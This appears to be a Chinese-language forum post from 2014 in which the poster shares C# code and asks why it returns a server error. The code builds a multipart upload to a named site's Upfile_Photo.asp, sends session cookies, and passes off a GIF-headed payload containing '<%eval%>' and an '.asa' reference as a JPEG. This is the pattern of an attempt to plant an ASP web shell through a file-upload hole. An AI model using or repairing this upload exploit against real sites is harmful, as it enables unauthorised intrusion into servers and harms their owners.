本帖最后由 mogu_chulian 于 2014-7-27 17:51 编辑
这个是火狐抓包的结果
可是我最后写完代码调试的时候提示500 服务器内部错误。 那个submit 底下的乱码是 中文 "上传" 是不是必须把那个加上。
下面是我代码。
大神们帮忙给看下哪儿不对了.. 谢谢啊~~
#region 变量
byte[] UploadBuffers = null;
byte[] UploadBuffers2 = null;
//-----------------------------110802965624754
string BoundStr = "-----------------------------110802965624754";
StringBuilder UploadBuf = new StringBuilder(); //头部
StringBuilder UploadBuf2 = new StringBuilder(); //尾部
#endregion
#region 头部数据
UploadBuf.Append(BoundStr + "\r\n");
UploadBuf.Append(@"Content-Disposition: form-data; name=""FileName""; filename=""qingcheng.jpg""" + "\r\n");
UploadBuf.Append("Content-Type: image/jpeg\r\n\r\n");
byte[] HeadBytes = Encoding.ASCII.GetBytes(UploadBuf.ToString());
#endregion
#region 图片数据
byte[] PicBytes = System.Text.Encoding.Default.GetBytes("GIF89A\r\n<%eval%>\r\nvalue==server.mappathcss.asa <BR>\r\n</form></body></html></body></html>mogu_xiezi\r\n\r\n\r\n");//ImageToBytesFromFilePath(@"C:\qingcheng.jpg"); //
#endregion
#region 尾部数据
UploadBuf2.Append("\r\n" + BoundStr + "\r\n");
UploadBuf2.Append(@"Content-Disposition: form-data; name=""Submit""" + "\r\n\r\n\r\n" + "上传");
UploadBuf2.Append("\r\n" + BoundStr + "\r\n");
UploadBuf2.Append(@"Content-Disposition: form-data; name=""PhotoUrlID""" + "\r\n\r\n\r\n" + "6" + "\r\n");
UploadBuf2.Append(BoundStr + "--");
byte[] TailBytes = Encoding.ASCII.GetBytes(UploadBuf2.ToString());
#endregion
#region 数组拼接
UploadBuffers = ComposeArrays(HeadBytes, PicBytes);
UploadBuffers2 = ComposeArrays(UploadBuffers, TailBytes);
string str2 = System.Text.Encoding.Default.GetString(UploadBuffers2);
MessageBox.Show(str2);
#endregion
#region 上传
item = new HttpItem()
{
URL = "http://tjmpmc.com/Upfile_Photo.asp",
Method = "POST",
Cookie = "ASPSESSIONIDQCQBQCTT=KFBBNCDCHGLFIIHPJAEHOBKP; ASPSESSIONIDSAQBRDTS=NGEJANFCELAPNLGDENMBPAMF",
ContentType = "multipart/form-data; boundary=" + BoundStr.Substring(2),
Referer = "",
PostDataType = PostDataType.Byte,
PostEncoding = Encoding.UTF8,
PostdataByte = UploadBuffers
};
result = Http.GetHtml(item);
MessageBox.Show(result.Html);
下面是调试的截图
|